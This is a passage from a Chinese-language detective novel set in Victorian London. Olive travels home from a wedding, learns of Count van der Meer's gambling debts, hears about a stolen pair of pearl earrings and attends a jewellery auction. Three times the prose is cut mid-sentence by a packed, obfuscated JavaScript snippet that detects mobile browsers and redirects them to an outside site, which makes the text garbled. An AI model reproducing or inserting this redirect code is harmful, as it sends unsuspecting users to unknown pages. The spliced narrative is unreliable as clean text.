“我有别的打算。” 奥丽芙回屋将自己的行李收拾好,去找伊迪丝,她却不在房间。安斯蒂府里的女仆说:“库珀小姐出去了。” 奥丽芙有点奇怪。早上她和伊迪丝商量好两点半出发,眼下,马上就两点一刻了。 她首先想到,是不是伊迪丝也正找她,便准备再去花园瞧瞧。 刚下楼,碰上了小默顿和德·雷斯托子爵,他们正看着仆人将行李搬上马车。 奥丽芙后来已经从德·雷斯托日记中记录的那位詹姆斯牧师处获得了证实:当晚,牧师与子爵、还有子爵的母亲确实在威尔卡特府上用晚餐,直到晚上九点半后,客人们才离开。而父亲遇害的时间,应是在九点至九点半之间。 本来,奥丽芙便认为,德·雷斯托是最“不像”凶手的人,当然,这只是她根据对方言行举止得出的主观印象,而现在她已明白,主观印象完全靠不住。 可是,“不在场证明”是客观事实,不容驳倒。奥丽芙相信牧师不会撒谎,因此,德·雷斯托和小默顿一样,都拥有不在场证明。几乎可以认定,在这件事上,他们是清白的。 此外,对于父亲的不幸,德·雷斯托在日记中表露出强烈的感情,奥丽芙因而对他有种特别的好感。这时见到了,奥丽芙上前与两人打招呼。 “中午好。你们要出发了?” 德·雷斯托好像心绪不佳,回答时,只有嘴唇动了动,声音几乎听不见。 小默顿忙说:“我们这就去火车站。”停了停,又问,“要不要结伴搭火车,布莱克小姐?我们还可以等几分钟。” “不了,谢谢。我和库珀小姐乘马车来的,也乘马车回去。” “你们怎么都喜欢马车。”小默顿多少显得失望,“Z伯爵也乘马车,他还不急着返程,范德梅尔伯爵干脆说要到明天才走,我真不知他们留在这儿还能干嘛。——你和库珀小姐呢?”他急切地问。 “我们很快也该出发了,我现在就去找库珀小姐。” “噢,对不起,我不该耽搁你。”小默顿说,看一眼马车,又回过头来盯着奥丽芙,犹豫着说,“要我帮你找到库珀小姐吗?” “不用,谢谢。你们的车子马上就好了,一路顺风。” 小默顿看看一声不吭的德·雷斯托,帮他解释似的冲奥丽芙笑道:“我真怕这家伙在路上也不说话,要是有你和库珀小姐在,就会大不相同了。” 德·雷斯托忽然开口:“布莱克小姐,等你见到库珀小姐,请替我转告,我特别喜欢她的表演。” “对对,布莱克小姐,你和库珀小姐,扮演了最美的两幅画。”小默顿说着,拉德·雷斯托一起上了马车。 客人们差不多都准备着要离开,花园里空无一人。——也不是完全没人,Z伯爵站在那儿,差不多就是在刚才吃饭的位置,正在向这边张望。 看见奥丽芙,他很快地跑来:“小姐,你预备出发了吗,请原谅,我还得等一下。你肯不肯等我,唔,二十分钟?” “我不是在找你,伯爵。”奥丽芙很客气地回答,“你请便。” “好吧,小姐。”Z伯爵遗憾地说,“既然如此,这儿也没什么意思,我先回去了。”他向大宅走去。 奥丽芙心想Z伯爵既没有提,伊迪丝大概不在花园,不过,她还是匆匆转完一圈。 经过蔷薇花墙时,墙后传来两人说话的声音,其中一个正是伊迪丝,但另一个是范德梅尔伯爵。 他们两人并没有把话音压到让别人听不见的地步,因为他们在吵架。 “走开,请不要管我!”伊迪丝喊叫,声音有些颤抖。 “我不走!”奥丽芙头一次听见范德梅尔用这种粗暴的语气顶撞伊迪丝。但随即,他的话音又变温和了,“我发现,那间大厅,还有这座花园,都非常美,我要多留一天。刚才我就决定了,要在这儿多呆一天。” “与我无关。你请便,伯爵。” 奥丽芙发现伊迪丝的话和自己几分钟前对Z伯爵说的差不多,这本来有点好笑,但她马上想起自己正在不道德地偷听,而范德梅尔又在气愤地嚷嚷了:“你不能这样误解我,伊迪丝!” 奥丽芙吃了一惊,她完全没料到两人的关系已经到了范德梅尔能用教名称呼伊迪丝的地步。确实,这种似乎难以克制的激动,往往发生在关系密切的人之间,而争吵的内容,也证实了他们的亲密。 范德梅尔说:“即使你不愿听我解释,也请你想想看,你扮的是一幅荷兰画家的画,而你,扮作一位荷兰姑娘,我怎么可能不喜欢?” “你说对了,我只是扮演,我可不是荷兰姑娘!” “荷兰姑娘只是一种比喻,代表我……哦,去他的荷兰姑娘……”范德梅尔咒骂了一句,接着响起拉拉扯扯的声音,但就那么片刻,马上平息了下来。 奥丽芙犹豫了,到底要不要直接过去?反正不能装作没事,一走了之——两个仆人正朝这个方向走来。 她假装绊了一下,大声“哎呦”着,弯腰揉自己的脚腕。 “我绝不会走的。”她听见范德梅尔说,紧接着,他的一双腿从篱墙后迈了出来,没有停一下,快步从她身侧跑过去了。 奥丽芙直起身,几秒后,伊迪丝从后面走出来,她的脸颊发红,眼睛灼灼发亮,但是没有眼泪。 伊迪丝昂着头,径自走到奥丽芙面前:“谢谢你上次没告诉我父亲,这次你也不会说,是吧?”她说话口气很冲,带着质问的意思。 这么说,那个晚上伊迪丝也是和范德梅尔会面。有时候,奥丽芙会想起那天,猜测到底是两位伯爵中的哪一个。此刻,她心想,为了范德梅尔这家伙真是大可不必。 “当然不会。我不会告诉任何人。”奥丽芙郑重保证。 她想问一句:“刚才没关系吧?”但伊迪丝冷静的、高傲的目光使这句话显得没必要。奥丽芙便只提醒道,“我们该准备出发了。” 伊迪丝摇摇头:“你先回去吧,我还想在这儿呆一晚,我跟安斯蒂夫人说好了。我明天早上再走,她送我去车站。” 奥丽芙很惊讶。临时改变计划对主人家实在不大方便,何况,范德梅尔好像也要留下,那就更不合适了。“我们还是回去吧。”她再次劝说道。 “我不走。我吩咐马车送你回去。”伊迪丝用不容争论的语气说。 奥丽芙也有点生气了。但她多少清楚伊迪丝的脾气,眼下,不能再与她争执。于是,她说:“明天早晨你坐马车吧。我乘火车,正好有很多人都去火车站。”奥丽芙不让伊迪丝再推让,扭身快步走开。 不巧,这时刚刚有一拨客人离去,安斯蒂家自己的车子全部派出去了。管家很抱歉地请奥丽芙在大厅稍候,他去看看哪位客人有马车,可以顺带捎她去车站。 奥丽芙百无聊赖,踱进展览新娘珠宝的房间。这时,大概因为客人都走了,而新婚夫妇不久后也将前往澳大利亚,所有首饰都被收了起来,只余那条红宝石手链还在丝绒架上闪着光,等待新娘临行时,将它戴在腕上。 房间里只有“堂侄”和一个仆人模样的人。两人都是一副倦怠的样子,仆人低着头,“堂侄”斜靠在窗前,谁也没瞧摆放着首饰的桌子。 现在奥丽芙知道他们的真实身份了,偷偷向“堂侄”瞥去,对方正透过眼镜片,悄悄拿眼盯着她,两人的目光差点碰到一起。奥丽芙急忙扭开头,她可不愿给当成嫌犯。她假装只是想寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018714|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找另外的礼物,向周围望一望,匆匆走出来。 奥丽芙发现宅门外停有一辆马车,不过,管家却不见了踪影,大概被另一件事叫走了。奥丽芙便自己上前询问车夫。 车夫是个很壮实的年轻人,好像有点面熟,再一细看,正是上次在SevenDials赶走几个流氓,救了她的那位! 难怪他会拔刀相助,原来他是在一个体面人家做事——那天,他肯定是送主人去探访、帮助穷人。 奥丽芙一高兴,没多想便走近他说:“先生,没想到还能碰见你。” 对方一开始没动,直到奥丽芙站在身前,才扭头向旁边看看,发现奥丽芙确实在对他讲话。这下,他不仅惊讶,更显出了几分无措:“小姐,你要……” 奥丽芙想起他可能认不出她了,那次她蒙着头巾,何况,这位好心的车夫也根本没朝她看。 这倒不大好解释,犹豫间,听见后面说:“布莱克小姐,你终于决定要搭车了?” 奥丽芙回过头,Z伯爵站在那儿。他脸上露出一点惊讶,随即笑呵呵指着车夫道:“他叫吉姆。第一次见到他的人,总是有点害怕。你是个例外。别看他长得有点吓人,其实有一颗最善良不过的心。是吧,吉姆,你愿意咱们车上多载一位乘客吧?” 吉姆很庄重地躬躬身,表示愿意。 这时奥丽芙的想法却又变了。她想:Z伯爵的车夫跑到那个下流地方去做什么?显然,他对那一带很熟悉,去了不止一回了。当然是奉Z伯爵之命,但肯定不是提着柳条篮子,去探望某个贫苦家庭。Z伯爵在那儿有什么勾当? “多谢你。”奥丽芙对Z伯爵说,“我准备乘火车回去,我刚才是想问问,你们是否方便往车站方向跑一段?” “别客气了,小姐。这回有了个地道的马车夫,我还不能获得送你回伦敦的荣幸?” 奥丽芙倒真想给他这个“荣幸”——为从吉姆口里探探话。可惜,这是一辆轿式马车,没有和车夫谈话的机会。 “我坐火车。”奥丽芙下了决心地说,“如果你肯送我到车站,我会非常感激。” “别乘火车。虽说在车上时间倒不长,可是得在车站候着。还是我送你吧,把你一路送回绿窗酒店。路上我们还能聊聊天,你不会无聊的。” Z伯爵明亮的眼睛里流露出认真的恳求,这副神情仿佛有点古怪。奥丽芙疑心他是不是在花园里也看见了伊迪丝和范德梅尔,猜出她为何改为一个人回伦敦,并打算借聊天之机刺探刺探,看她知道多少内情。 她对Z伯爵的评价又降了几分:自己偷听他们说话,勉强还能算上“不得已”,Z伯爵则是有意窥人隐私了——完全不像个绅士! 反正,无论他是否想议论此事,奥丽芙都不愿再听他那些“真心话”。毫无疑问,他一点没顾及她也是位淑女,嘴上说的便是他心中所想——关于他如何眼馋别人的珠宝,以及哪位女士给人以“挑逗的感觉”。 “谢谢。我不喜欢和人聊天,我更愿意在候车室看看书。” Z伯爵不信地看着她,奥丽芙干脆从手提包里拿出一本硬皮小开本的书,在他面前晃了晃。 “狄更斯?好吧,我输得不算太冤。虽然我觉得这本有点乏味。当然,我喜欢孤儿的故事,而你,喜欢历史。——走吧,去火车站。” Z伯爵似乎察觉出奥丽芙在心里骂他,打算在行为上做个绅士。他把奥丽芙扶上车,并坚持要将她送到火车座位上,进了车站,先为她找了张椅子坐下,又去替她买票。 一位太太和她的女仆向奥丽芙这边走来,慌里慌张说着丢了行李的事。奥丽芙本来低着头,可那位太太看见了她,喊叫道:“啊呀,这不是布莱克小姐吗?” 奥丽芙立即认出了对方,起身招呼:“赫伯特太太。” 24. 杀人动机 婚礼宾客实在太多,有一大半人奥丽芙都没被介绍到,介绍到的也未必就能让人记住。不过对这位赫伯特太太,奥丽芙真的留有印象——谁让她把赫伯特先生猜测成“大盗”了呢。 赫伯特太太只喊一声就闭住口,大概觉得别人不认识自己,搭讪太冒昧。可见奥丽芙叫得出她的名字,她那红润、爽直的脸上立即堆满了笑容:“布莱克小姐,你坐哪趟车?” 奥丽芙与她寒暄几句,因她的女仆脸上还有焦灼之色,便问是怎么回事。 “我们来的时候——因为我打算参加完婚礼,再去萨里郡拜访我的一位姑姑,我把一部分行李寄放在车站。刚才一点,少了一只帽盒。帽子是我新买的,为了参加婚礼,我也特意买了顶时髦的帽子。”赫伯特太太羡慕地望着奥丽芙的头顶。 “可是搭配的衣服却叫裁缝做坏了,我只好没戴它。谁知车站会把它搞丢?我再也不想出门了!赫伯特先生不知到哪里抽烟去了,反正不是他丢了东西,他倒不着急!” Z伯爵拿着车票回来,赫伯特太太同样热情地与他寒暄。 “你不坐火车吗,Z伯爵?当然当然,火车越来越快,铁路服务却越来越差。布莱克小姐也是这班车?太好了,我真高兴。 “布莱克小姐把那幅画表演很棒,你说是吧?请别笑话,我不知道那是谁画的,现在挂在哪儿。不过,看了布莱克小姐的表演,谁也用不着再去看原作。啊,我一辈子都不可能忘了那幅画。 “你也一样?太好了,咱们看法相同。 “不不,不是什么事,只是我的一顶帽子丢了。不是小偷,是车站。 “帽盒是天蓝条纹的。你真好心,伯爵,但我刚才问了,他们不承认。可能他们把它错给了上一班车的乘客,而那辆车都跑出几百里了。谁能因为一顶帽子就让火车停下,稀世珍宝还差不多。” “哦,Z伯爵,你说得真好:为了一顶美丽的帽子,值得让火车停下。要是铁路部门也这样想就好了。 “来得及吗,还有一刻钟车就要开了。啊,那就麻烦你了。” 开车之前,Z伯爵找回了赫伯特太太心爱的帽子,又将二人送进车厢,放好她们的行李。 “正好有个照应,有你们陪伴布莱克小姐,她的朋友们也好放心了。”Z伯爵一本正经地说,却偷偷向奥丽芙眨眨眼,“赫伯特太太,你会发现布莱克小姐是个很安静的旅伴,她喜欢在火车上读书。” 奥丽芙马上说:“不,我喜欢和朋友们聊天,只有一个人实在无聊时,才看书。” “那么,该说再见了,祝你旅途愉快。”Z伯爵微笑着伸出手。 他把奥丽芙的手在掌心中握了一小会儿。 “这么年轻,风度这么好。”赫伯特太太透过车窗,看着Z伯爵的背影大加赞赏,“谁能想到一位伯爵会这么客气。” 奥丽芙没有说什么。 列车开动,乘务员送来了茶盘。“别忙,别忙,我来。”赫伯特太太向奥丽芙说,可她忍不住又要对窗外的景色发两句议论,这时,奥丽芙已经手脚麻利地为大家倒好了茶。 呷着茶水,赫伯特太太开始了客厅中的闲聊,她问:“在婚礼上,我还看到了另一位英俊的年轻先生,也是蓝眼睛,头发有点红,他是不是也是一位伯爵,好像是荷兰人?” “你说的应该是范德梅尔伯爵,他是荷兰人。” 赫伯特太太与她丈夫对看一眼。 赫伯特太太又问:“布莱克小姐,你知不知道他是荷兰哪个地方的人呢,这位范德梅尔伯爵?” “好像是哈勒姆。”奥丽芙说。范德梅尔很少主动提起家乡的事,不过小默顿倒是念叨过多次,羡慕那里大量栽培各种名贵郁金香。 赫伯特太太再次和丈夫对视,然后凑近奥丽芙,低声问:“他家里是不是还有母亲和一个妹妹?” “对,我听说是这样。”奥丽芙被她神秘的语气和表情引起了兴趣,“你们认识范德梅尔伯爵的家人?” “我们不认识,从来没见过。”赫伯特先生抢在太太前面说,又向太太阴沉地看了一眼。 “是没见过。”赫伯特太太小声说,又嘀咕,“只是问问,有什么关系嘛。”大家都没再说话。过了一会儿,赫伯特先生起身去列车最后面抽烟了。 赫伯特太太立即对奥丽芙说:“赫伯特先生去过一次荷兰,哈勒姆。” 奥丽芙点点头,没打断她。 “范德梅尔伯爵也是你的朋友吧?”赫伯特太太问。 “不,我只是认识他,算不上朋友。” “那么,你是不是没见过伯爵的母亲和妹妹?” “没见过。我在伦敦才结识范德梅尔伯爵,听说,他的母亲和妹妹一直呆在家乡。” “就是说呀!”赫伯特太太放下茶杯,拍了拍奥丽芙的腿,“你想,既然他有母亲和妹妹,怎么不把她们一起带来英国?” 赫伯特太太激动的语调似乎在置疑范德梅尔家的人口情况,可奥丽芙并不认为范德梅尔会有名有姓地编出一个妹妹西尔维娅,实际则查无此人。 “她们可能不喜欢出门旅行。“她说。 “不,不,只要体力允许,不管是老太太,还是闺阁小姐,谁愿意呆在家里,肯定都想出门转转。如今铁路交通这么发达,像咱们这样坐着,多轻松惬意呀。”赫伯特太太完全否认了半个钟头前自己说过的话,“——她们是缺少旅费。” 奥丽芙真的吃惊了:“范德梅尔伯爵手头好像挺宽裕呀。” 赫伯特太太撇撇嘴:“或许是借的钱呢,这谁晓得?那些贵族们总有办法让自己穿得光鲜,你不知道他们实际上多么穷。赫伯特先生经常跟那类人打交道。 “——可不是所有人都像Z伯爵一样阔,你在画里戴的那付绿宝石耳环,就是他送给新娘的礼物,赫伯特先生估计价值好几百镑呢。送了这么一份大礼,Z伯爵还不肯让别人知道,他多有风度……” “赫伯特先生见过范德梅尔伯爵的家人?”奥丽芙把话题拽回来。 “他没见过,他只是听说。赫伯特先生不愿意把道听途说的事拿出来讲,不过咱们就随便聊聊,又没人当真,是吧,布莱克小姐。”几乎不等奥丽芙点完头,赫伯特太太立即说起来。 “赫伯特先生年初刚从澳大利亚回来,又跑去荷兰,他在那儿听说了关于范德梅尔伯爵的事。 “赫伯特先生去哈勒姆为一个朋友办财产公证,有一回,经过一栋房屋,人家告诉他,那里先前是范德梅尔伯爵家的地产。屋子经了年岁了,但是盖得既漂亮又结实。我丈夫特别喜欢古旧的建筑,他见了很感兴趣,就向人打听范德梅尔家的事。 “人家告诉他,老伯爵去世后,他唯一的儿子——就是咱们现在说的这位伯爵——继承了全部家产。那时候,伯爵还太年轻,母亲又过于溺爱,凡事都由着他。一个不懂事的年轻人,手里有几个钱,家里没人管教,自然要出门结交坏朋友。伯爵染上了最坏的一种恶习——赌博。” 赫伯特太太停下来,用目光提示奥丽芙。 “所以他?”奥丽芙谦虚地将揭晓答案的荣誉留给对方。 “他欠了债,欠了不少。为了躲债,他才离开荷兰,把母亲和妹妹丢在家里。”赫伯特太太一口气说完,端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035914|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起茶杯,慢慢解释,“他家的房产和田地早就抵押了,母女两个把仅剩的一些东西全卖掉,好容易才还清伯爵欠别人的钱。 “她们以为债务还清了,伯爵就能回家。可是,即使无人追债,伯爵也没有回去。眼下,母女两个住在一所很小的房子里,连仆人都雇不起,——你想,伯爵若回家,只能过平民的日子了,说不定是为这个,他不情愿。” 奥丽芙越听越惊讶:“可是母亲和妹妹呢,难道范德梅尔伯爵对她们全然不管?” “全然不管。”赫伯特太太用力摇摇头,叹口气,“母女俩太可怜,那位范德梅尔小姐更可怜。你看,范德梅尔伯爵不是个美男子吗?他妹妹也是个美人儿呀——定过亲了。 “可惜小姐没早生几年,等她长到嫁人的年纪,伯爵已经把家业败掉了大半,贵族家都不愿与他家结亲。倒是有个富有的鳏夫想娶范德梅尔小姐,小姐不肯,又怕哥哥可能应下这门亲事,便由母亲做主,和一个青年订了婚约。那青年的姓氏很一般,祖上不是渔夫就是牧羊人,不过胜在他本人人品还不错。 “我猜呀,伯爵倒不会在乎妹妹嫁给渔民还是牧羊人的后代,只要对方有钱,可问题是,那青年家境也很普通。 “范德梅尔小姐的嫁妆被伯爵输光了,一文都没剩下。两个可怜的年轻人没钱成家,再者,小姐非要看到哥哥回来才肯出嫁,婚事便一直拖着。据说那位未婚夫也在帮忙寻找伯爵,他到处给人干活,攒够了旅费就去下一个城市找,还得寄钱回去,好养活未婚妻和她的母亲。” “他们没想到范德梅尔伯爵来了伦敦?伯爵的英语讲得很好。”奥丽芙想起来梳妆匣上的赠言。难道不是因为范德梅尔要来英国,她妹妹才刻了一句英语?再不然,使用英语只是为了赶时髦? 赫伯特太太肯定赞同赶时髦一说。她道:“这些贵族,都懂好几种外语,老伯爵在世时,应该让儿女受了不错的教育。不过,那位未婚夫恐怕讲不了几句英文,不然,说不定他会找来英国,——不不,他们肯定以为伯爵也是穷困潦倒,在大陆的哪个小城窝着呢,他们不会想到伯爵来了伦敦。 “英国可不比法国,在巴黎,穷有穷的过法,可在伦敦,生活太高昂了,一个穷光蛋,除非去偷去抢,不然简直活不下去。”赫伯特太太感慨道。 “的确如此。”奥丽芙钦佩地说。赫伯特太太真是富有见地。 “那么,范德梅尔伯爵如今是怎么维生,总不能一直借钱,难道还靠赌博?”奥丽芙问。 赫伯特太太想了一会儿:“这可难讲,或许他真在哪儿碰了好运气。总有在赌桌上捞到钱的人吧,不然怎么那么多人痴迷此道?”她又叹了口气,“要是他母亲和妹妹能死了心倒好。——假若有人劝劝伯爵,你认为,能劝得动吗,他会回去吗?” 不会。奥丽芙摇摇头,看向窗外。 现在她知道了,这是范德梅尔必须保守的一个“秘密”——无论他现在赌不赌,库珀先生不可能把女儿嫁给一个曾经的赌徒,哪怕他是位伯爵。 在范德梅尔确保与伊迪丝订婚之前,他不能让一丝风声传到库珀先生耳朵里。在英国,或许了解他过往的人不多。但是,早些年前,老伯爵在世时…… 奥丽芙记得小时候去过荷兰,也记得在父亲的笔记上,见过范德梅尔的家族纹章。就是说,父亲很可能认识范德梅尔伯爵的父亲。 列车到站时,奥丽芙怀着真诚的感激之情,与赫伯特太太道别。今天坐火车真是对了,她获知了一个十分重要的情况。 还不能由此认定范德梅尔是凶手,但是,他有一个比其他人更明确的杀人动机。 25. 耳环窃案 大盗到底”光临”了安斯蒂子爵家的婚礼,一副珍珠耳环被偷了! 婚礼第二天一早,奥丽芙就从报上读到了消息。一定是伊迪丝戴着表演的那对耳环,她想,果然被Z伯爵“不幸言中”。 这天下午,伊迪丝刚从安斯蒂子爵的庄园回来,凯里夫人赶到,急着要把事情经过问个清楚。 “昨天晚上就发现了?一定给你们带来很多不愉快吧,满屋子的警察,不会还盘问你们?” 伊迪丝摇摇头:“昨天午餐前,林赛太太就把耳环收了起来。等到晚饭时,我又见到她,才听说后来检查行李发现耳环不见了。那时候警察来过,又已经走了。” “也对,警察留下有什么用,小偷肯定早就远走高飞了。我提醒过安斯蒂夫人,要她别请那么多客人。”凯里夫人事后聪明地说,“客人多倒不要紧,不过为了招待这么多人,还得从外面请厨师、侍者。你们想想,宅子里有多少互相不认识的人,窃贼正好趁机混进去……” “哎呀,大盗该不会就在我们那趟火车上!”凯里夫人惊怪地一拍脑门,“他们应该给车站拍电报,搜查乘客。哦,不行,已经太晚了,那时候火车都到伦敦,盗贼说不定都进家门了。再说,要是把乘客拦住挨个搜查,又没找到贼,警察会被骂死。——林赛太太一定非常难过,子爵一家都很不开心吧?” “并没有。”伊迪丝对摆在面前的茶点盘冷眼瞅了一会儿,终于拈起一块蛋糕,咬了一小口,对凯里夫人甜甜一笑,“我想,林赛先生打算再买一副耳环。” 她的看法是一位有钱小姐的看法:这虽然是件让人懊恼的窝囊事,但造成的损失很容易就能得到弥补,其严重程度比起剪坏了头发可要轻得多了。 “你们说,大盗为什么不偷红宝石,要偷珍珠?”凯里夫人显出一副知晓内情的神色,“你们肯定还不知道吧,警察预料到大盗会出现,事先埋伏在子爵府里了。子爵的堂侄就是警察假充的。我说怎么能突然冒出来个堂侄呢,那人瞅着也不对劲。” 奥丽芙庆幸Z伯爵不在这儿,不然,就得看他那张洋洋得意的脸了。 “哦,那个人是警察呀,怪不得后来再没见到他。”伊迪丝不太感兴趣地说。 “可不是嘛,莱斯利夫人今天上午告诉我的。除了子爵一家,这件事只有她一个人知道。”凯里夫人又说,“手链一直摆在那儿,看守似乎也不是很严。珍珠耳环却是秘密地收起来,谁知,盗贼偏不去偷手链。你们能猜到原因吗?” “他是著名的大盗。”伊迪丝耸了耸肩,“他可能不愿做太简单的事。” 凯里夫人还有“内幕”:“报上老早就说,新郎送给新娘一件价值超过一万英镑的首饰,但并没说是什么,警察认为大盗也不知道,所以他们故意做了一条假宝石的手链。” “假的?”奥丽芙吃惊地说,“我还趴在跟前看过,一点儿都没瞧出来。” “确实瞧不出来,所谓的翡翠其实是些绿玻璃,而红宝石是人造的——这是他们搞的一样新东西,只有用宝石镜照着才能鉴别,我们所有人都被蒙在鼓里。实际上,被盗走的珍珠耳环,才是新郎送的礼物。” “莫非盗贼识得出真假?”这回大盗可真是在警方脸上狠狠掴了一掌,奥丽芙的同情甚至有点转到警察身上了。 “或许另有原因。”凯里夫人慢悠悠地、意味深长地说,“我认为,大盗也看了画像表演,他可能当时就藏在窗户外头。”她转向伊迪丝,“你把那副画演得那么美,连盗贼都被打动了,才转而偷走珍珠。” “啊,夫人,可别这么说。”伊迪丝脸红了,但看得出心里挺高兴,“难道是因为我,才害林赛太太丢了耳环?” “不要紧,林赛先生可以再买一副。”凯里夫人安慰道,“安斯蒂夫人这下该得意了,反正是女婿出钱,她倒出了名。大盗偷了她家里,这下,所有人都会记住这个婚礼。” . 奥丽芙急于要把从赫伯特太太那里听说的事告诉伊迪丝,一逮到独处的机会,她说:“我听到一件事,范德梅尔伯爵……” 刚说几个字,伊迪丝止住了她。 “请不要再说下去。”伊迪丝恳求地望着奥丽芙,声音中含着尊严,“好像我和范德梅尔伯爵……不错,我和伯爵认识挺久了,但我们始终就是普通朋友。 “你看到的,并非你想的那样。朋友间有时会发生争吵,是因为观点不合,而不是某一方受了亏待。我很容易与我的朋友吵架,但我希望和你始终友好,那么,就别再怀疑我了,好吗?” “我没怀疑你。”奥丽芙认真地说,又飞快道,“你不该把他当朋友,范德梅尔伯爵不是个好人,他好赌。他跟你说他很爱他妹妹,西尔维娅?她本来是位尊贵的伯爵小姐,但她过的可不是那种日子,实际上,伯爵的母亲和妹妹眼下……” 伊迪丝再次打断她:“请你相信,他是什么样的人,我绝不是最后一个清楚的。实际上,在最初的几次拜访中,范德梅尔伯爵已经向我和我父亲承认,他过去做过荒唐事。但他已经完全改过了,我和我父亲都看得出,现在,他是作为一个绅士与我们来往。 “至于他的家人,我只能说,范德梅尔伯爵或许确实算不上孝顺父母、爱护姐妹的模范。不过,我父亲一向要求我:若朋友礼貌地对我,我也要礼貌地对待对方。这样便足够了,不必过多打探朋友们的家事。 “我和范德梅尔伯爵的交往便是遵照这个原则。想必你能够理解,除了我与伯爵见面时聊起的话题,关于他的任何事情,我完全不关心,也不感兴趣。” 说到这儿,伊迪丝唤女仆:“请帮我准备一下,我要泡个澡,我实在非常疲惫。” 奥丽芙不好再多说了。但后来,她特别留意观察过伊迪丝如何对待范德梅尔。表面上,伊迪丝还像过去那样与范德梅尔谈天,但熟悉她的人都能发觉,她使用的是一种彬彬有礼的冷淡态度;而范德梅尔显然对这一变化感到纳闷,并不知所措。 总之,两人之间绝对没有特别的默契。奥丽芙心想:可能在争吵之后,伊迪丝已经看透了范德梅尔的为人,并决定与他疏远。 不过,伊迪丝是一个骄傲的女孩,自尊心很强,她已经为自己先前的轻率够懊悔了,怎么可能愿意别人总记得那些事。奥丽芙放下心,私下里,再也没有在伊迪丝面前提到范德梅尔。 . 最近,社交场上的太太小姐们讨论最多的话题是珠宝拍卖会。除了伊迪丝,奥丽芙还没听见谁说不想参加。 伊迪丝不愿去是因为她已经去过了太多的拍卖会,此外,还有一个她与库珀先生间心照不宣的原因:这次拍卖会会出现几件很稀罕的珠宝,库珀先生很可能从中挑选一件作为给她的惊喜——再过一个多月,就是伊迪丝二十岁生日了。 奥丽芙知道姨妈夏普小姐喜欢拍卖会,来伦敦前,姨妈还对她谈过伦敦的拍卖行,因此,奥丽芙决定去“见识见识”,将来好给姨妈描述一番。 这天,奥丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049709|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芙陪库珀先生来到邦德街。 珠宝拍卖果然热闹,但这种热闹与其它拍卖场赶集似的喧嚣熙攘截然不同。奥丽芙到场时,拍卖厅已坐满了八成,身着黑色礼服的男士与身着彩色礼服的女士们,交织成了一座既庄严又绚丽的森林,耸着翎毛的帽子摆在女士膝头,像一丛一丛的鲜花,邻座间低声细气的谈话不比虫鸣声高出多少。 库珀先生的秘书正在订好的位子上等候,不过,奥丽芙另选了个靠后的座位,好观察一下大家如何竞拍。 她刚坐下不久,一位穿礼服的先生走出来,这是主持拍卖的杜克斯先生。他身材瘦小,以至于一开口,就让人诧异他的声音怎么这么宏亮。 杜克斯先生没有多废话,立即进入正题,开始拍第一件物品。 “这件东西各位大概还不曾见过,我很荣幸将它展示给你们。”杜克斯先生的助手捧出一件别在绒布托盘上的蜻蜓形胸针,伸直手臂举在胸前,向众人转了半圈。“这是最新的设计,但很漂亮,不是么?瞧它的翅膀,使用了空窗珐琅工艺,Plique-à-jour,起源于古老的拜占庭帝国。” 那句法语的意思是“透进日光”,奥丽芙被这几个字迷住了。蜻蜓张着它蓝色的、半透明的翅膀,钻石镶嵌的细细的身体发出光彩。它那么轻盈、俏丽,好像马上就要飞走。 “一百英镑,它的起拍价是一百英镑,对这只漂亮的昆虫来说,不贵,是吧。它当然值得更高价钱,有人喜欢这只美丽的蜻蜓吗?”杜克斯先生微笑着看向众人。 奥丽芙喜欢。杜克斯先生说得没错,蜻蜓是漂亮的昆虫,一种昆虫。这似乎是个好兆头——蜻蜓对毒蜂。她突然有种预感,马上就要抓住那只“毒蜂”了,她激动地在椅子上动了动身体。 不过,奥丽芙还没有举手叫价。假如不算库珀先生付给她的薪水,一百英镑差不多是她全部资产的一半,她仍然习惯将其看作一笔大钱。在她犹豫间,胸针被一位先生以一百九十英镑拍走了。 好吧。奥丽芙有点遗憾,但并未懊恼太久,尤其是想到自己其实还没有取得像样的成绩,希冀奖励未免为时过早。 除了第一件东西,其它再没什么能引起奥丽芙的兴趣。倒不是说它们不美——与那些流苏耳环,闪得晃眼的钻石项链,像鸽子蛋那么大的红宝石比起来,刚刚那只蜻蜓才实在是小意思。 不过,高级珠宝实在太贵了,远远超过了奥丽芙认为自己能够拥有的奢侈品的价格上限。在这间拍卖厅中,几百镑只是最最起码的价钱,耳朵里听到的数字动辄是几千,有时甚至还要上万! 这样也好,奥丽芙想。她可以怀着轻松的心情欣赏珠宝,关注别人如何叫价。她得承认,拍卖会的确很有趣,特别是看那些此起彼落的手臂,猜测最终谁能竞拍成功。 